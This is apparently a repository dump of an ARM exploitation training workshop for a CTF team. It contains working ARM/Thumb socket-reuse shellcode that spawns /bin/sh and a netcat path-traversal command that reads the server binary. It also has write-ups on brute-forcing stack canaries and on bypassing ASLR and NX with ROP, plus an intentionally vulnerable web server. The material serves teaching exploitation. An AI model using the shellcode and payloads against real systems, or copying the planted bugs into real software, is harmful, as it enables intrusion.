14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/shellcode/Makefile:
--------------------------------------------------------------------------------
1 | as = arm-none-eabi-as
2 | objcopy = arm-none-eabi-objcopy
3 |
4 | all: shellcode.arm shellcode.thumb
5 |
6 | shellcode.arm: shellcode.arm.S
7 | $(as) -o shellcode.o shellcode.arm.S
8 | $(objcopy) -O binary shellcode.o shellcode.arm
9 | rm shellcode.o
10 |
11 | shellcode.thumb: shellcode.thumb.S
12 | $(as) -mthumb -o shellcode.o shellcode.thumb.S
13 | $(objcopy) -O binary shellcode.o shellcode.thumb
14 | rm shellcode.o
15 |
16 | clean:
17 | rm shellcode.arm
18 | rm shellcode.thumb
19 |
--------------------------------------------------------------------------------
/shellcode/shellcode.arm.S:
--------------------------------------------------------------------------------
1 | .section .text
2 | .global _start
3 |
4 | .set SOCKFD, 4
5 |
6 | _start:
7 | mov r0, #SOCKFD
8 | mov r1, #2
9 | sub r2, r2, r2
10 | mov r7, #63 // dup2
11 |
12 | loop:
13 | svc 0
14 | subs r1, r0, #1
15 | bge loop
16 |
17 | mov r0, pc
18 | b execve
19 | .ascii "/bin/sh\x00"
20 |
21 | execve:
22 | stm sp, {r0, r2}
23 | mov r1, sp
24 | mov r7, #11 // execve
25 | svc 0
26 |
--------------------------------------------------------------------------------
/shellcode/shellcode.thumb.S:
--------------------------------------------------------------------------------
1 | .syntax unified
2 | .section .text
3 | .global _start
4 |
5 | .set SOCKFD, 4
6 |
7 | _start:
8 | movs r0, #SOCKFD
9 | movs r1, #2
10 | subs r2, r2, r2
11 | movs r7, #63 // dup2
12 |
13 | loop:
14 | svc 0
15 | subs r1, r0, #1
16 | bge loop
17 |
18 | mov r0, pc
19 | b execve
20 | .ascii "/bin/sh\x00"
21 |
22 | execve:
23 | push {r0, r2}
24 | mov r1, sp
25 | movs r7, #11 // execve
26 | svc 0
27 |
--------------------------------------------------------------------------------
/exploit/stage1.md:
--------------------------------------------------------------------------------
1 | # Stage 1
2 |
3 | There's a path traversal bug in the code that handles GET requests.
4 | Abusing this, the binary can be obtained:
5 |
6 | ```bash
7 | printf "GET ../../../../../proc/self/exe HTTP/1.1\r\n\r\n" | nc $ip 80 > response
8 | ```
9 |
10 | Afterwards the HTTP header needs to be stripped:
11 |
12 | ```bash
13 | dd if=response of=websrv bs=1 skip=$(python -c "print(open('response', 'rb').read().index(b'\x7fELF'))")
14 | ```
15 |
16 | file should now report an elf file:
17 |
18 | ```bash
19 | $ file websrv
20 | websrv: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.26, BuildID[sha1]=8f6a73fa2b913d8a5d7c9ce5797188b90457d0e5, stripped
21 | ```
22 |
23 | The same can be done to retrieve the libc in use on the target system (get it's path through /proc/self/maps).
24 |
25 | At this point it's time for some reverse engineering.
26 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2015 Samuel Groß
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/exploit/stage2.md:
--------------------------------------------------------------------------------
1 | # Stage 2 : Reverse Engineering the binary
2 |
3 | There's a classic stack based buffer overflow in the function receiving the request. Sending a little more than 4096 bytes will crash the child process.
4 |
5 | ## Bypassing the stack canary
6 |
7 | Stack canaries are enabled, however, the value of the cookie can be brute forced as the cookie doesn't change accross forks.
8 | By overwriting one unknown byte of the canary at a time it's value can be brute forced in approximately 128\*4 requests (in practive this is reduced to 128\*3 since the first byte is usually 0 to prevent exploitation of strcpy and similar functions).
9 |
10 | See cookiebrute()
11 |
12 | ## Bypassing ASLR
13 |
14 | Arbitrary files can be read using the path traversal bug. Reading /proc/self/maps will allow for an ASLR bypass.
15 |
16 | See leakmaps()
17 |
18 | ## Bypassing NX
19 |
20 | No-eXecute (NX) can be bypassed by using a ROP chain.
21 | There are multiple ways to construct the ROP chain. The two most common ways are
22 |
23 | - prepare the arguments for system() and jump there
24 | - mmap an rwx memory region and write some shellcode there, then jump there.
25 |
26 | Both are implemented in pwn.py
27 |
28 | Gadgets can be found using e.g. the [ROPgadget tool](https://github.com/JonathanSalwan/ROPgadget).
29 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ARMPwn
2 |
3 | Repository to train/learn memory corruption exploitation on the ARM platform.
4 | This is the material of a workshop I prepared for my CTF Team.
5 |
6 |
7 | ## Quick Setup
8 |
9 | Either upload the binary to some ARM device (I used a Raspberry Pi) or use qemu locally as described [here](https://github.com/niklasb/rpi-qemu).
10 | Also copy the webroot/ folder and the led script to the device. The binary expects both to be in the current working directory.
11 |
12 | The binary needs to be run as root or (preferably) have CAP_NET_BIND_SERVICE enabled (sudo setcap 'cap_net_bind_service=+ep' websrv).
13 |
14 |
15 | ## How to use this Repository
16 |
17 | In general the goal is to get code execution on the target system.
18 | There are 4 different ways to benefit from this repository:
19 |
20 | ### Total Pwn
21 |
22 | Deploy the binary and go pwn it _without_ reversing the binary first. Assume no prior knowlege of the binary.
23 |
24 | ### Full Pwn
25 |
26 | You're given access to the binary as well (in bin/).
27 |
28 | ### Medium Pwn
29 |
30 | You're given access to the binary and it's source code in src/. You'll miss out on some reversing fun though.
31 |
32 | ### Lesser Pwn
33 |
34 | Refer to the exploit and explanations in exploit/ as you go along.
35 |
36 |
37 | ## RPI Configuration
38 |
39 | The RPI used during the workshop was configured as follows:
40 |
41 | - kernel boot messages were written to /dev/ttyAMA0 (the default)
42 | - /etc/inittab was modified to not spawn getty on /dev/ttyAMA0
43 | - syslog-ng was modified to enable output on /dev/ttyAMA0 by adding the following line to /etc/syslog-ng/syslog-ng.conf:
44 | destination d_console_all { file("/dev/ttyAMA0"); };
45 | - verbose crash messages were enabled by setting "sysctl kernel.print-fatal-signals=1" during boot, e.g. through /etc/init.d/rc.local
46 | (sadly the ARM kernel does not by default print a crash summary to the kernel ring buffer as opposed to e.g. an x86 kernel)
47 | - An LED was connected to GPIO pin 17 on the Pi
48 |
49 | Using these, we developed our exploits by connecting a serial cable to the Pi and getting the crash dumps this way. No gdb or similar.
50 |
51 |
52 | Feedback is always welcome! Enjoy :)
53 |
54 | @5aelo
55 |
--------------------------------------------------------------------------------
/src/websrv.c:
--------------------------------------------------------------------------------
1 | /*
2 | * WebSrv - Simple, buggy web server
3 | *
4 | * (c) 2015 Samuel Groß
5 | */
6 |
7 | #define _GNU_SOURCE
8 |
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 |
21 | #define min(a, b) (((a) < (b)) ? (a) : (b))
22 |
23 | #define PORT 80
24 | #define TIMEOUT 120
25 | #define CRLF "\r\n"
26 | #define CRLF2 "\r\n\r\n"
27 | #define WEBROOT "webroot/"
28 |
29 | struct sockaddr_in client;
30 | char buf[2048];
31 | ssize_t bufsz;
32 |
33 | int die(const char *fmt, ...)
34 | {
35 | va_list args;
36 |
37 | va_start(args, fmt);
38 | vfprintf(stderr, fmt, args);
39 | va_end(args);
40 |
41 | exit(-1);
42 | }
43 |
44 | void wait_for_child(int sig)
45 | {
46 | while (waitpid(-1, NULL, WNOHANG) > 0);
47 | }
48 |
49 | void handle_alarm(int sig)
50 | {
51 | puts("Client timed out...");
52 | exit(0);
53 | }
54 |
55 |
56 | void http_send(int socket, const char *fmt, ...)
57 | {
58 | char msg[2048], *pos;
59 | va_list args;
60 |
61 | memset(msg, 0, sizeof(msg));
62 |
63 | va_start(args, fmt);
64 | vsprintf(msg, fmt, args);
65 | va_end(args);
66 |
67 | send(socket, msg, strlen(msg), 0);
68 | }
69 |
70 | int send_error(int socket, int code, const char* msg)
71 | {
72 | char* body = ""
73 | "\n"
74 | " \n"
75 | " No.\n"
76 | " \n"
77 | " \n"
78 | "